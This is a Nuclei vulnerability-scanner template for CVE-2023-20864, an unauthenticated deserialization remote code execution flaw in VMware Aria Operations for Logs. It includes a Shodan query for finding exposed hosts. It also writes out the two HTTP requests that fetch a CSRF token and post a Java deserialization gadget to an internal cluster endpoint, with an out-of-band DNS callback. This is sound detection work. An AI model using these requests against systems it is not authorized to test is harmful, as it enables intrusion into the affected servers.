id: CVE-2023-20864

info:
  name: VMware Aria Operations for Logs - Unauthenticated Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    VMware Aria Operations for Logs contains a deserialization vulnerability. An unauthenticated, malicious actor with network access to VMware Aria Operations for Logs may be able to execute arbitrary code as root.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0007.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-20864
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20864
    cwe-id: CWE-502
    epss-score: 0.21157
    epss-percentile: 0.95907
    cpe: cpe:2.3:a:vmware:aria_operations_for_logs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vmware
    product: aria_operations_for_logs
    shodan-query: title:"vRealize Log Insight"
  tags: cve,cve2023,vmware,aria,rce,oast

http:
  - raw:
      - |
        GET /csrf HTTP/1.1
        Host: {{Hostname}}
        X-Csrf-Token: Fetch
      - |
        POST /api/v2/internal/cluster/applyMembership HTTP/1.1
        Host: {{Hostname}}
        X-CSRF-Token: {{xcsrftoken}}
        Content-type: application/octet-stream

        {{generate_java_gadget("dns", "http://{{interactsh-url}}", "raw")}}

    cookie-reuse: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '"errorMessage":"Internal error'

    extractors:
      - type: kval
        name: xcsrftoken
        group: 1
        internal: true
        kval:
          - "X_CSRF_Token"

# digest: 4b0a00483046022100d720893be72b7a8bbf1c27fa086b07d5cdf36b39e4473ffcf43b13a0a61430dd022100e02795d678a3e20a8ce634904ed0cba2ece3fb4cbb2366bcb99c2ed9185efe8c:922c64590222798bb761d5b6d8e72950